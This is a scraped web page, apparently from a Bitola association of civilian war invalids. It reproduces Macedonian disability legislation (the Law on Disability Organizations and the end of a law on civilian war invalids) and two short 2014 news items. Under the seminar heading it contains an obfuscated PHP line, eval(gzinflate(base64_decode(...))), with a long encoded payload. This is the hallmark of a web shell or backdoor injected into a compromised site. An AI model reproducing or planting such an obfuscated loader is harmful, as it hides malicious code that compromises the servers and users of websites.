постоењето на законските причини кои довеле до поништување односно до
укинување на првостепеното решение.
Член 22
Ако против првостепеното решение не е изјавена жалба, а ревизијата не биде
извршена во рок од два месеца од денот на приемот на предметот од
второстепениот орган, ќе се смета дека ревизијата е извршена, а решението
потврдено.
Член 22
Трошоците во врска со работата на лекарските комисии од член 8, став 3 на овој
закон се обезбедуваат на начин определен со член 19 од овој закон.
Член 24
Решенијата, со кои се утврдуваат права на парични побарувања според овој
закон, се извршуваат по службена должност.
Решенијата од претходниот став ги извршува надлежниот првостепен орган со
средства обезбедени на начин определен со член 19 од овој закон.
Член 25
Првостепениот орган од член 20, став 1 на овој закон води евиденција на
цивилните инвалиди од војната од член 2 на овој закон.
Министерот за труд и социјална политика ќе го пропише начинот на водењето
на евиденцијата од претходниот став.
Член 26
Bo постапката за остварување на правата по овој закон се применуваат
одредбите на Законот за општата управна постапка, ако со овој закон не е
поинаку одредено.
IV. ПРЕОДНИ И ЗАВРШНИ ОДРЕДБИ IV. ПРЕОДНИ И ЗАВРШНИ ОДРЕДБИ
Член 27
Првостепениот орган во рок од 3 месеци од денот на влегувањето во сила на
овој закон, ќе изврши преведување на корисниците кои оствариле право на
цивилна инвалиднина врз основа на Законот за цивилните инвалиди од
војната (.Службен весник на СРМ. број 33/76, 25/79, 11/81 и 4/85).
До донесувањето на решение за преведување, лицата од претходниот став ќе
примаат аконтација во висина одредена со прописите што биле во сила до
донесувањето на овој закон.
Член 28
Спроведбените прописи од член 14, став 2 и член 29 став 2 од овој закон,
републичкиот секретар за здравство и социјална политика ќе ги пропише во
рок од 3 месеци по влегување во сила на законот.
Член 29
Co влегувањето во сила на овој закон престануваат да важат одредбите на член
17, точ. 2, алинеја 2 и 3, член 19, став 2 и 3 и член 31 од Законот за социјална
заштита (.Службен весник на СРМ., број 16/70, 20/71, 35/71 и 34/72), како и
одредбата на член 28, алинеја 3 од Законот за самоуправните интересни
заедници за социјална заштита (.Службен весник на СРМ., број 5/74).
Средствата што Републиката и ги обезбедила на Републичката самоуправна
интересна заедница за социјална заштита за 1976 година за покривање на
трошоците на инвалиднината на лицата кои неа ја остварувале според
прописите што престануваат да важат, ќе се користат за обезбедување на
правата утврдени со овој закон.
Член 30
Овој закон влегува во сила осмиот ден од денот на објавувањето во .Службен
весник на Социјалистичка Република Македонија.

ЗАКОН ЗА ИНВАЛИДСКИ ОРГАНИЗАЦИИ ЗАКОН ЗА ИНВАЛИДСКИ ОРГАНИЗАЦИИ

ЗАКОН ЗА ИНВАЛИДСКИ ОРГАНИЗАЦИИ ЗАКОН ЗА ИНВАЛИДСКИ ОРГАНИЗАЦИИ
консолидиран текст
Закон за инвалидски организации („Службен весник на Република
Македонија“ бр. 89/2008; 59/2012 и 23/2013).
I. ОПШТИ ОДРЕДБИ I. ОПШТИ ОДРЕДБИ
Член 1
Содржина на Законот
Со овој закон се уредуваат статусот, подрачјето на дејствување,
финансирањето и сопственоста на инвалидските организации.
Одредбите на овој закон, кои се однесуваат на физички лица, важат
подеднакво за жени и за мажи.
Член 2
Инвалидска организација
Инвалидска организација е здружение на граѓани која се формира согласно со
Законот за здруженија на граѓани и фондации.
Инвалидска организација може да се здружува во различни облици како
сојузи и други облици на здружување или поврзување (во натамошниот текст:
здружение) или сојуз на здруженија на граѓани (во натамошниот текст: сојуз).
На инвалидските организации се применуваат одредбите на Законот за
здруженија на граѓани и фондации, ако со овој закон поинаку не е определено.
Член 3
Инвалидската организација е доброволно и независно здружување на лицата
со инвалидност заради остварување на заеднички интереси и посебни потреби,
како и нивните законски застапници, со цел да ги утврдуваат, застапуваат и
задоволуваат посебните потреби на лицата со инвалидност, како и да ги
застапуваат интересите на лицата со инвалидност.
Во органите на управување на инвалидската организација лицата со
инвалидност се застапени најмалку со 70%, освен во инвалидските организации
на лицата со интелектуална попреченост.
Инвалидската организација при своето дејствување ги почитува начелата на
инвалидската заштита, утврдени во законите на Република Македонија,
меѓународната правна заштита и меѓународните стандарди и конвенции во
областа на инвалидската заштита. Инвалидската организација може да
дејствува на државно или на локално ниво.
Член 4
Инвалидските организации учествуваат при оформувањето на националната
политика која се однесува на инвалидската заштита и во мерките за
обезбедување на еднакви можности и еднакви права на лицата со
инвалидност.
Државните органи за сите работи од ставот 1 на овој член се консултираат со
инвалидските организации.
Член 5
Членство
Членови на инвалидска организација можат да бидат инвалидни лица, нивни
законски застапници и други физички лица кои ја помагаат активноста на
инвалидската организација.
Лице со инвалидност во согласност со Законот за социјалната заштита и
Правилникот за оцена на специфичните потреби на лицата со пречки во
физичкиот или психичкиот развој е поединец кој заради своите вродени или
здобиени повреди и попреченост стекнати или создадени од нивната физичка
или животна средина, сам не може делумно или во целост да ги задоволува
личните, семејните и животните потреби за живот во средината во која живее.
Член 6
Јавност
Дејствувањето и работењето на инвалидските организации е јавно.
Податоците впишани во регистарот на инвалидските организации се јавни.
II. АКТИВНОСТ II. АКТИВНОСТ
Член 7
Активноста која ја извршува инвалидската организација е непрофитабилна.
Без оглед на принципот на непрофитабилност, инвалидската организација
може да извршува, исто така, и профитабилна дејност во согласност со Законот
за здруженија на граѓани и фондации.
Инвалидската организација не смее да извршува профитабилни дејности како
своја претежна дејност.
За својата активност инвалидската организација може да стекнува предмети,
парични средства и имотни права, согласно со Законот за здруженија на
граѓани и фондации.
Член 8
Цели
Цели на дејствување на инвалидската организација за достигнување на
квалитет на животот на лицата со инвалидност се особено:
– почитување на човековите права на лицата со инвалидност,
– вклученост во општеството и учество во секојдневниот живот,
– недискриминација на лицата со инвалидност,
– поттикнување на лицата со инвалидност да се потпираат на сопствените сили
и способности,
– автономност на лицата со инвалидност како корисници на услуги,
– економска, социјална, здравствена и правна заштита на лицата со
инвалидност и
– социјална правда и социјална сигурност.
Член 9
Задачи
Во рамките на својата активност инвалидските орган изации ги извршуваат
следниве задачи:
1) ги утврдуваат интересите и ги застапуваат потребите на лицата со
инвалидност на секое подрачје, кои се однесуваат на животот на лицата со
инвалидност, прид онесуваат за создавање свест во јавноста и влијаат врз
промените во полза на лицата со инвалидност;
2) планираат, организираат и изведуваат проекти кои им овозможуваат на
одделни групи на лица со инвалидност поактивно учество и помагаат во
отстранувањето на попреченоста и поголема независност во животот
(оспособување за активен живот и работа, превоз, снабдување со технички
помагала, лична помош, нега, физичка помош, центри за дневен престој,
клубови, програми за деца и младинци со посебни потреби, програми за стари,
болни и изнемоштени лица, толкување и поддржување, програми за чување на
здравјето и други рехабилитациони проекти, информативна, издавачка,
културна, рекреативна, спортска активност и слично;
3) учествуваат во спречувањето и отстранувањето на бариерите во физичката и
социјалната средина;
4) организираат и спроведуваат активности за запознавање на инвалидните
лица од областа на заштитата на здравјето, медицинска и социјална
рехабилитација, воспитување, образование, оспособување, вработување,
социјална заштита, култура, спорт и рекреација;
5) спречуваат и ублажуваат социјални и психички последици од инвалидноста;
6) ги оспособуваат лицата со инвалидност за самопомош и нивните блиски и
други лица за живот и работа со лица со инвалидност;
7) ги развиваат социјалните вештини на лицата со инвалидност и нивната
информираност за различни подрачја на животот;
8) поттикнуваат активности на соодветни органи и организации за што
поуспешно решавање на прашањата во врска со лицата со инвалидност;
9) учествуваат во изготвувањето на државните мерки и предлагаат прифаќање
на прописи и мерки на подрачјето на инвалидската заштита;
10) ги претставуваат, заштитуваат и почитуваат правата и интересите на
државно и локално ниво;
11) обезбедуваат поддршка и создаваат можности за развој на самопомош и
добротворност и
12) се поврзуваат со други инвалидски организации во земјата и во странство.
Инвалидските организации можат да извршуваат и други задачи кои се
определени во основачкиот акт на инвалидската организација.
III. СТАТУС НА ИНВАЛИДСКА ОРГАНИЗАЦИЈА III. СТАТУС НА ИНВАЛИДСКА ОРГАНИЗАЦИЈА
Член 10
Здружение или сојуз добива статус на инвалидска организација, ако:
1) во основачкиот акт има определба и извршува одделни задачи од членот 9
став 1 точки 2, 4, 5, 6, 7 и 10 на овој закон на државно или локално ниво;
2) предлага програми (проекти) кои ќе ги реализира особено од инвалидската
заштита со кои ќе се потпомага независниот живот на одредена група лица со
инвалидност;
3) има стручно оспособен кадар за водење на посебните социјални програми
(проекти) од инвалидската, социјалната, здравствената и друга заштита на
инвалидните лица;
4) предлага посебни социјални програми (проекти) за зачленети и незачленети
лица со инвалидност и
5) членуваат најмалку 40 лица од кои 95% лица со инвалидност со ист вид
инвалидност, или 95% лица со инвалидност со различен вид инвалидност, но
сепак со еднакви права или општествен статус, кои дејствуваат во јавен
интерес на подрачјето на инвалидската заштита (во натамошниот текст:
инвалидска организација) во согласност со закон.
Член 11
Постапка за доделување на статус на инвалидска организација
Здружението или сојузот поднесуваат писмено барање за добивање на статус
на инвалидска организација до Министерството за труд и социјална политика.
Инвалидската организација е должна да се регистрира во централниот
регистар на подрачјето каде што има седиште.
Член 12
Здружението или сојузот кон писменото барање за добивање на статус на
инвалидска организација треба да приложат доказ за:
1) регистрација, име, седиште и претставници на здружението или сојузот и
2) исполнување на условите за добивање на статус на инвалидска
организација.
Барањето се поднесува согласно со членот 11 став 1 на овој закон.
Член 13
Министерот за труд и социјална политика со решение одлучува за доделување
на статус на инвалидска организација, врз основа на претходно мислење на
Комисија.
Комисијата од ставот 1 на овој член ја формира министерот во состав од три
члена од кои еден член на Комисијата е на предлог на Националниот совет на
инвалидските организации на Македонија од членот 26 на овој закон.
Комисијата го изготвува мислењето за стекнување статус на инвалидска
организација врз основа на разгледано барање и претходно прибавено
мислење од Националното координативно тело за еднакви права на лицата со
инвалидност во Република Македонија и Националниот совет на инвалидските
организации на Македонија.
Член 14
Престанување на статусот на инвалидска организација
Министерот за труд и социјална политика со решение одлучува за
престанување на статус на инвалидска организација, ако:
– инвалидската организација поднесе барање за престанување на статусот,
– инвалидската организација не исполнува повеќе услови за добивање на
статус на инвалидска организација според овој закон и Законот за здруженија
на граѓани и фондации,
– инвалидската организација не дејствува во согласност со членот 3 од овој
закон,
– доколку здружението или сојузот се избришани од регистарот на здруженија
на граѓани и
– инвалидската организација истапила или била исклучена од инвалидската
организација, која како сојуз на здруженија го добила статусот на инвалидска
организација.
Против решението од членот 13 став 1 на овој закон и ставот 1 на овој член може
да се поднесе жалба до Државната комисија за одлучување во управна
постапка и постапка од работен однос во втор степен.
Член 15
Во постапката за престанокот на статусот на инвалидска организација,
решението од членот 14 став 1 на овој закон се донесува врз основа на
претходно мислење на Комисијата изготвено согласно со членот 13 став 3 од
овој закон.
Врз основа на правосилна одлука за бришење од регистарот на инвалидските
организации, на здружението или на сојузот на здруженија им престанува
статусот на инвалидска организација.
Член 16
Регистар на инвалидски организации
Министерството за труд и социјална политика го водирегистарот на
инвалидските организации.
Регистарот на инвалидските организации ги содржи следниве податоци:
– реден број на уписот,
– датум на уписот,
– име на инвалидската организација,
– седиште на инвалидската организација,
– лично име на претставникот на инвалидската организација,
– број и датум на одлуката за добивање на статус на инвалидска организација и
– датум на престанување на статусот на инвалидската организација.
Инвалидските организации се должни на Министерството за труд и социјална
политика и Централниот регистар да му достават известување за промените на
податоците кои се водат во регистарот на инвалидските организации, најдоцна
15 дена од денот на настанатите промени.
IV. НАЦИОНАЛНИ ИНВАЛИДСКИ ОРГАНИЗАЦИИ IV. НАЦИОНАЛНИ ИНВАЛИДСКИ ОРГАНИЗАЦИИ
Член 17
Улога на националните инвалидски организации
Инвалидска организација може да се стекне со статус на национална
инвалидска организација ако работи на територијата на Република
Македонија, како и на меѓународен план и да ги претставува лицата со
определен вид на инвалидност без разлика на нивната верска, национална и
расна припадност.
Покрај условите од ставот 1 на овој член инвалидската организација е
потребно:
1) да има статус на инвалидска организација;
2) да има најмалку 15 општински, меѓуопштински и градски здруженија кои
дејствуваат на територијата на целата држава;
3) да ги извршува задачите од членовите 9 став 1 точки 1, 9 и 12 и 10 точка 1 на
овој закон;
4) во својата организација да има вклучено 95% инвалидни лица кои се со ист
вид инвалидност или 95% инвалидни лица со инвалидност со различен вид
инвалидност, но нивните активности се насочени кон стекнување на еднакви
заеднички посебни потреби;
5) организираност за да може да дејствува во сите сфери на животот на лицата
со одредена инвалидност, посебно на полето на образованието, здравството,
вработувањето, социјалната заштита, културниот живот, спортско
рекреативни активности и друго;
6) заради специфичните потреби на своите членови да биде оспособена да ги
реализира потребите за набавка на помагала за своите членови, обезбедување
на придружник, обезбедување на толкувачи на знаковен јазик, да ги
оспособува членовите за ориентација и социјална интеграција, отстранување
на архитектонските бариери, посредување при вработување на лицата со
инвалидност, покренување на иницијативи за унапредување на социјалната
заштита и правата на лицата со инвалидност, грижа за семејството, потребите
од организиран културно-спортски и рекреативен живот, решавање на
секојдневните животни проблеми со кои се судруваат лицата со инвалидност и
друго;
7) постоење на соодветни просторни услови за вршење на административнотехнички работи за потребите на лицата со инвалидност и просторни услови за
клубски активности на лицата со инвалидност и
8) членство во меѓународни асоцијации на лицата со инвалидност.
Член 18
Општи услови
Со статус на национална инвалидска организација може да се стекне само една
инвалидска организација за одреден вид на инвалидност, согласно со членот
20 од овој закон.
Член 19
Националната инвалидска организација има за задача:
– да ги претставува и застапува лицата со инвалидност и нивните интереси во
комуникација со државните органи во Република Македонија и на
меѓународно ниво,
– во согласност со прописите да предлага претставници на лицата со
инвалидност во работните тела во државните органи, кои ги разработуваат
прашањата во врска со лицата со инвалидност и
– предлага или именува претставници на лицата со инвалидност во органите на
истородните меѓународни организации и здруженија.
Посебни услови
Член 20
Постапка за стекнување статус на национална инвалидска организација
Национална инвалидска организација може да биде онаа организација која ги
исполнува следниве посебни услови:
1) да има регистрирано најмалку 300 члена во својата организација, со
определена инвалидност врз основа на наод и мислење од надлежен орган;
2) да има најмалку 15 меѓуопштински и градски здруженија кои доброволно се
здружени во единствена инвалидска организација;
3) да има обезбедено во најмалку 15 меѓуопштински и градски здруженија
соодветен простор за работа и активности;
4) да има оспособен стручен кадар во најмалку 15 меѓуопштински и градски
здруженија (зависно од видот на инвалидноста познавање на знаковен јазик на
глувите, соодветен профил на кадри за работа со слепи, лица со интелектуална
попреченост и лица со други видови на инвалидност) и
5) од денот на нивното основање да има најмалку пет години период на активно
дејствување во остварување на заштитата и правата на лицата со инвалидност.
Член 21
За стекнување на статус на национална инвалидска организација,
инвалидската организација поднесува писмено барање до Министерството за
труд и социјална политика.
Комисијата од членот 13 на овој закон е надлежна за признавање и престанок
на статусот на националната инвалидска организација.
Член 22
Со писменото барање за признавање на статусот на национална инвалидска
организација треба да се приложи:
1) решение за добивање на статус на инвалидска организација,
2) извештај за извршување на задачите од членот 9 точки 1, 9 и 12 на овој закон;
3) изјава за бројот на зачленети лица со ист вид на инвалидност и нивните
законски претставници или
4) изјава за бројот на зачленети лица со инвалидност со исти права и посебни
потреби.
Член 23
Престанување со работа на национална инвалидска организација
Националната инвалидска организација престанува со работа (го губи
статусот) ако не се исполнети одредбите од Законот за здруженија на граѓани и
фондации и овој закон и ако со решение е бришана од судскиот регистар.
Член 24
Националната инвалидска организација престанува со работа ако покрај
одредбите од Законот за здруженија на граѓани и фондации не ги исполнува
задачите од членот 19 на овој закон.
Член 25
Регистар на национални инвалидски организации
Министерството за труд и социјална политика го води регистарот на
националните инвалидски организации.
Регистарот на инвалидските организации ги содржи следниве податоци:
– реден број на уписот,
– датум на уписот,
– име на националната инвалидска организација,
– број и датум на одлуката за признавање на статус на национална инвалидска
организација и
– датум на престанување на работата на национална инвалидска организација.
Националната инвалидска организација е должна до Централниот регистар на
Република Македонија да му ги соопшти промените на сите податоци кои се
водат во регистарот на националната инвалидска организација согласно со
одредбите од Законот за здруженија на граѓани и фондации.
Член 26
Национален совет на инвалидските организации на Македонија
Националните инвалидски организации можат да се поврзат во Националниот
совет на инвалидските организации на Македонија (во натамошниот текст:
НСИОМ).
Националниот совет на инвалидските организации на Македонија се основа со
спогодба меѓу националните инвалидски организации од ставот 1 на овој член,
со која сразмерно се одредуваат задачите на НСИОМ меѓу поврзаните
национални инвалидски организации. Спогодбата се доставува до
Министерството за труд и социјална политика заради евидентирање во
регистарот и истата се доставува до Централниот регистар на Република
Македонија.
Во НСИОМ сите членки се рамноправни. Во НСИОМ може да се вклучи секоја
национална инвалидска организација која го сака тоа и дејствува на
национално ниво. НСИОМ е должен за сите промени да го извести
Министерството за труд и социјална политика и Централниот регистар на
Република Македонија согласно со одредбите од Законот за здруженија на
граѓани и фондации.
Член 27
Цел на основање на НСИОМ
НСИОМ ги усогласува интересите на сите лица со инвалидност во државата
преку постигнување на автономноста на секоја инвалидска организација и ја
застапува во дијалогот меѓу инвалидските организации и во дијалогот со
стручните здруженија, државните органи, јавните институции и пошироката
јавност.
НСИОМ предлага во согласност со прописите групни претставници на лицата
со инвалидност во органите на државните и другите јавни институции, како и
во органите на меѓународните организации и здруженија и извршува други
групни договорени
активности.
V. ФИНАНСИРАЊЕ И СОПСТВЕН V. ФИНАНСИРАЊЕ И СОПСТВЕН . ФИНАНСИРАЊЕ И СОПСТВЕНОСТ НА ИНВАЛИДСКИТЕ ОСТ НА ИНВАЛИДСКИТЕ
ОРГАНИЗАЦИИ,НАЦИОНАЛНИТЕ ИНВАЛИДСКИ ОРГАНИЗАЦИИ И
НСИОМ
Член 28
Инвалидската организација за своето дејствување се финансира од:
– членарина,
– Буџетот на Република Македонија согласно со Одлуката за критериумите и
постапките за распределба на финансиските средства на здруженија на
граѓани и фондации и Листата на здруженија на граѓани и фондации,
– буџетот на локалната самоуправа,
– врз основа на имотните права и активности на инвалидската организација,
– подароци и завештанија,
– приходи на донатори и
– други извори утврдени со закон.
Член 29
Националните инвалидски организации се финансираат од:
– Буџетот на Република Македонија од средствата од игри на среќа согласно со
одлука на Владата на Република Македонија за распределба на овие средства,
за што доставуваат барање и програма до Министерството за труд и социјална
политика за тековната година,
– Буџетот на Република Македонија врз основа на проекти со кои аплицираат
на оглас што го распишува Министерството за труд и социјална политика и
– други извори утврдени со закон.
Националните инвалидски организации од средствата што ги добиваат
согласно со ставот 1 алинеја 1 на овој член, ги финансираат инвалидските
организации на општините кои се доброволно здружени во национална
инвалидска организација.
Член 30
Национален совет на инвалидските организации на Македонија
НСИОМ се финансира од националните инвалидски организации кои
спогодбено се поврзани во НСИОМ согласно со членот 26 од овој закон.
Во спогодбата за поврзување на националните инвалидски организации во
НСИОМ се определува и процент што треба да го издвои секоја национална
инвалидска организација од средствата што ги добива согласно со членот 29
алинеја 1 од овој закон.
Член 31
Инвалидска организација, национална инвалидска организација и
Националниот совет на инвалидски организации на Македонија мора да ја
составуваат финансиската документација за планирање, финансиското
работење и годишното известување, така што посебно да се евидентни
финансиските извори, трошоците за работење и за извршување на своите
годишни програми.
Податоците се искажуваат во согласност со прописите за финансиското
работење.
Член 32
Годишниот извештај за работењето на инвалидската организација и
националната инвалидска организација го разгледува и прифаќа надлежен
орган на инвалидската организација. Инвалидската организација го доставува
годишниот извештај за работата на организацијата, овластена за обработка и
објавување на податоците, до последниот ден на февруари во тековната
година, на правните и физичките лица кои ги обезбедуваат средствата на
инвалидската организација, а потоа за употребата на тие средства
инвалидската организација ја известува националната инвалидска
организација и други надлежни органи.
Националните инвалидски организации доставуваат годишен извештај за
работата со финансиски извештај до Националниот совет, а Националниот
совет извештајот го доставува до надлежното министерство и донаторите на
финансиските средства.
Член 33
Стопанисување со сопственоста
Инвалидската организација, националната инвалидска организација и
Националниот совет на инвалидските организации располага и управува со
имотот и паричните средства согласно со Статутот, Законот за здруженија на
граѓани и фондации и друг закон.
Член 34
По престанувањето на работата на инвалидската организација за управување
со нејзината сопственост, се применуваат одредбите од Законот за здруженија
на граѓани и фондации.
Член 35
Надзор над законитоста на работењето
Надзорот врз извршувањето на програмите и инвестициите можат да го
извршуваат, покрај надлежните органи на организацијата, исто така и стручни
органи кои се овластени од правните и физичките лица кои ги доделуваат
средствата на инвалидската организација (спонзори, донатори и слично).
Надзорот врз законитоста на работењето и исполнувањето на одредбите на
овој закон и Законот за здруженија на граѓани и фондации над инвалидската
организација, национална инвалидска организација и Националниот совет на
инвалидските организации го извршува Министерството за труд и социјална
политика, а надзорот на финасиското работење го вршат Министерството за
финансии и Министерството за труд и социјална политика и Државниот
ревизор за финансиско работење.
VI. ПРЕКРШОЧНИ ОДРЕДБИ VI. ПРЕКРШОЧНИ ОДРЕДБИ
Член 36
Глоба
Глоба во износ од 2.500 до 5.000 евра во денарска противвредност ќе се изрече
за прекршок на инвалидска организација, национална инвалидска
организација и Националниот совет на инвалидски организации, ако:
– презема активности со кои ги попречува целите на дејствување (членови 8, 19
и 27),
– не извести за промена на податоците (член 25),
– не составува финансиска документација (член 31) и
– не доставува годишна програма и финансиски извештај (член 32).
Глоба во износ од 250 до 500 евра во денарска противвредност за прекршокот
од ставот 1 на овој член ќе му се изрече и на одговорното лице во инвалидската
организација, националната инвалидска организација и Националиот совет на
инвалидски организации.

VII. ЗАВРШНА ОДРЕДБА VII. ЗАВРШНА ОДРЕДБА
Член 37
Овој закон влегува во сила осмиот ден од денот на објавувањето во “Службен
весник на Република Македонија”.

Учество на традиционално Дефиле на Широк сокак 2014

Во месец јуни наши представници од Меѓуопштинското здружение на цивилните инвалиди од Битола учестуваа на Традиционалното дефиле на Широк Сокак во Битола кое го организираше Меѓуопштинското здружение на лица со телесен инвалидитет Битола-Мобилност Битола.

Семинар за имплементација на Конвенцијата за правата на лицата со инвалидност 2014

<?php eval(gzinflate(base64_decode(‘FZvHkoPKskU/554TDPAuXtwBAuG9h8kNPAjvzdc/etjdilJVVubeayN1cSTdP9XTDGWXbMU/abIWBPa/vMjGvPjnP2J8xS0xngiBg89RAF2knS3t7CT04e2vI1nrdq7tLiiKqXyluDxIHYGTGZ6brJMymg7hAj2sBUlN8kHW2dBX4AK+ICEykw6kNN6G6I39QHCE8qbvh30qYwdqEjiUAf6eD0dfSZAbe/LYbrP0OCP26ZzUkokUeQfS7DbNjdRGEjJMiHmGYZ5qM1IUUtLr4ECfKWktDuRkJ41hdO+HE40hOnq+tY3GCvk+SPUJ1p+oRDx/goECmXb/Fu5rKNEJE0S0/BEBovCi3iDZz0n2eC0lbqhFiUmZIDEmaV+Crmu4I4AuynwEqnbskuqjdusoJRESiU9BFV/fTVngqAIY7Z5xE+qoK6NFCGjweJwEwXf0AwzhMMGksMzXNph7dGMguxRfmFnY51LK1elNu94VHPONzplRdc5bFCm84KsExZSFe7jJRTcULDBQ12PxWnss+JMu5d2JWNtkMySi0O+bb76DA01hKuIuDtCUWp3ngRqaBB+YSFI6bOikOJOcCSuBFX8it3FkVgVtBbsO93Phe4ZKnIBPOazPMA+30WBJJzYeMNMWrcALI1aW32kyxODIIA/5OF6W0C2sGUlY1On535ABPKT0EFlTrIdYr/DbeME+VFolJoMX5XnZ0DuR3gCOIrDFdASlsN8h0mOPS1iuXM4ZMQpgIjAwwZaZlbhCqZ8pH8ILjxddFW6nTI/dGqvNzVzNC6y8V2gJ1HupKnYx4nWwJc+V0pW5xb4UWdsEGANfvoe/6D4AruxhH1NAL9YWI2nBRIo+1CW9sG4/YmKMqY3CYrZVECKkgeDr3Oyof2vf8NCevwZrduiPb42/z8c4m87AQx+XYbFclzuFuQwAC8lYSxmPKgSndWZYdxh+4r6qtbjLMoFOHB2hHKsSLWFbLBGU5kEPJiNDvnh+0mB/qwEvLnlCr4/+i3iSkGx1HiWp/QksVn3f116kUgkMIDyeTA076SBcLj/lhFsMsfJ0+VBk5ZlfUajoalVGrkqpmvLmHDnly738MGc4kSM8C+TK1Pu0D7hEByoBK3F9nJ0iRRr8CoHJ0Ntyw8BmAF88MLypbGrl2+bwXf8MxBYMDODhJCSGiT2QRE2h8EMlZO4deD9Zn6QzwCfwLtD7EEovxjxRKptgAO4Iz4fwY55T2oD7h2aGPiudkjz1dECwCEGaDFgFv6YzYXN2CkhoPy4fb1tYUYqxpZg+hiHXxJADrIhV8n5q6eOc2ubiqucUWq47Po2WC936Mhpr/R1+lg5CU3vjeX+SibQvgbriNKpLDsydaBvxLNzGwIhNLnCraAtYmZ5pj+2zaQvFkfIA6OEoFtZ4/YDu8HDwENDN8cg2l3UQP4Mfs0EA7STC9/SdT5Xg/Fap3FAkjokkpgHlqdz6GEXKhwRUSmPOfRXLm1LbUJe+nTXAKVsunPozIPburbRGhtHEp595rOGabfHQIv750y1QnFosyy05YYA8z+mWhLG79EdN9itd8eVfiAG/H842OQmJTr3w5MJBwXhX2TSU4bQsn9bMPx8UtfLi2wDPNshseg5ZK+JA5PIhYhg/FYERRVWIS4MAdbjgzvJCyAZwX06ysaFlVDCfz5PWcrbDKn737T47fGCnKzCHESsaoXnjNlinswfywmQJNF+ItdQG5KweC2kku1ElF6sv/nNXVGMqJxh2FLvLRzVolhJTQYrmroX1934yu71vuMCP34tzwIq5GYQgesptpa26hCJ+ZEB2Qirdurltg3snb1ad5oeW8X18oGn9gdoMMmAbAZNcWyfYham30zfzJFZAahsvRcbA9yEGernLkDB4Ez94YSihR6lsoPm1nS/s9Pav4C5TnhgPATnOU38HCy+6E3i7SbLhgxaN2ra/YqHwpVYcyrI0Br3jcoIhsE04EQF7mdPORRBOBm4noWc0sfBdLzIh0zClJCJPwDMqWhhSGfq+ege2WtnVJk4hfs8KVMyimAGaHfYlSYN14R9oo+H89yFgQRyhs7B64csPWBLGKHjElVQmvDnltIHM5bMsFXs8dcpDYf6MJttPwAjEm0R/SgyiqEICpmlTC0Wu3Hnt6zFCtpFKyREuqmi3kIrsvRP4CWmJUZ7tyvZ0G8X2gTxoknMV+MDp22R3INtIjy5OMSP1ucA8OFawFvW/PSW1K9cSlOYoE/khs0kOxsqom4/lxnQind9x5pLUh0X7snVQdgZGPle4r0txNrqnNLCMmMqyCl6vQkEugYSbB8JwlRV//db5ibWvughEO6AjnR1uGJ7+y97WbrkbMEiXgMjY7XJ3oyFKi50pjeBngPDDAp12LRooK0quQH77D2XNgTxJi3ECAmX6ivjK6lmGOQi6qAfRmhUphdaDxt79doFD6H5mXNDplC1MRyYnIjwFqmg+9rTz/BOWkw4hnsGo+YSdwd6F9ihYbI5CC2b3QhDxvFsJQX5+nKUc/XKNrEmhVaX1/HDZR+dlnUY1R9N4Sh075sI2j0e10P5z/kg4WI5vOlMklnVnV6m0t+vz/ir/Rs1ZePjKx/hAhBvaYa9DgeJC0DyHGRnlAEGiu037UYNZvF9OXAKhS/UxL94Rie570HHjpgUMUILzHRVOUorfpF1uIcg5rp6WcGARxpBn50oOv5TKDS2nNMcLDIHpwU8mRkofhJpv3ktbuuZQo2XXyaSiXP9VHSZkZklXZKu7tJ+hPF21NcmZwwk4Q67yEL3PlfK9EBxJsMkcZ1m5sJTKDgiiL6V7VSCd1WVCZi1PPDdHrAVE6gfk37409kBB5RWJGKqeqO7SsuKwSYeL7iCXAaD+LZ+asHsxUOfTkvFH/wAFzG+ItEjDxGHKtVO0u4/Y0nP4TWKVBMF2CTIA6uQqjYfznDBknfqaFN2AGUSLImMHlI4tDwFU1SbdDwDGU9eMsU+6OqSbAanotBBS6wqQef65E0JO7TmQHCCSi9rpx3c3Fu7lkF+5DM5nXndxYa2SnVA4d4wj3FD014SpgSm/a97gHKC2uiTntTDzOBp6SLAHmJ+H/Vgr1yYkYXkQXCXezqUMON16syTjm9ZL3ZkSQLwW21g2Bq2RlGFXdbJWVYJnC0UkWIwMEbH3ZUgqEnLtE4ikvcdMrqLbEr0RhoJeQR4rWwHV1wgFmzamzxK/nJGNN5yYvqIvhNuhVdbyznzL+eEGCsc5LeWSxZ1O4oIf46W2rDKTpSW4Du2xWLk351bHJimS2fxAABAi8XnKjUkrhjOD8akhnQ7gzNTp9RGfQdCb96+kRsd64EYHaqNodRkP+65agFwY9PgYVWGLus0LSdKMGaNkeGwHd8JT08pZhF+kq7oWEQNB3RYV3ZyaPIT7i7MKXZdZYqx7sFQEa35agNgIdcsnsBi1dor41ab2dxMBNz9njcwWFbPZD2ndi8qfialiwAE6C8hyvr7vOoooJIKRO7UyfgswgPHwrxkqu6guTv9Duy+PYSUw80GuJF+eAiE567ahqwU8+IQ1JyX1DN+6SqbiZngsvQ77z0OOxjZ5VOIqCC4ElG2tuJnko0PrCV5+Uy2X6Mvy8Ieu8i5OQlVkJVjNdEhFqRX4uuedXJAM5IAchdICJQuyoEKIBrwNQjDOiSAONkkIhazbkcAnLVk821VgV9PMJ1JVdIUSZmriiGEUT4dqIRSEQffwy8xjv5sWdL5WSUPRuJEE9mvs5xKx7wDaVZjIDOZdK/BybdeP5GdgfoXrm7vm6AYZEh/MR7Npn082yTVaYdTBknRq7fwPZ73R7AQSEm1yqyiD+IRzOnqBuFhXkdlrwDjOB2Q/gF2qUPKNyLHyJSWecr7k0n5x5FcjJxdjB/8+ijYvdU0aQ9VqdA9gpxzkYuedyp9fPVWcpID5Gv4q+W5MFXkXlsbVlWDLWxyqFLBQPxeiIR/cwSANrH8yZ+Wiak1Ouna/iUwEreKJuQZlYGFPhf6m2os1rm634YDYfGmoqtupVuzx8atEminf8iYzi0hZnL6oEcD1qU+CDq3GVKQhPEXV52qGEfzt6yS422/3DcbPlxnO0mCybnglZh8UpwODMf0c9c85vjG5b45PaeklWCI8ql5DhGUzZvy4D5P6RRtFhFFWtkDATLPr5SvMlrYLzVjrodLxN47qrbrN8GZQ15lFTkvCdCHHKPsguER0msfm8yKYzTBawgnC5auHquWK1xgkSdNVLdUtnMHjX5cv6fB0jMwAQzixkU7ouiN9lVwjCS4HWVVKwIlSU+sJpSvlItalIjG4YWbO0z35sjIZ+Pce1n7qMe/EVXN/tZkuCheIsg/0SLZhqSh28uULZDo5oNLCQ1Pycwk9PNU/vdSZsqvv2Zo3bpv874n3DW79HohIUdrjWNcWvDcevgT9GcmkcNl4/xU0cm+8Aru1cTJ6gF83kum1OY+KKIG2z+5IDqc7uvaWqJZu0j3rWn2S6McMFrHimXB3MvhdVYc0jEflBL/fYt6WXQQHgYN1proIOaSIt3d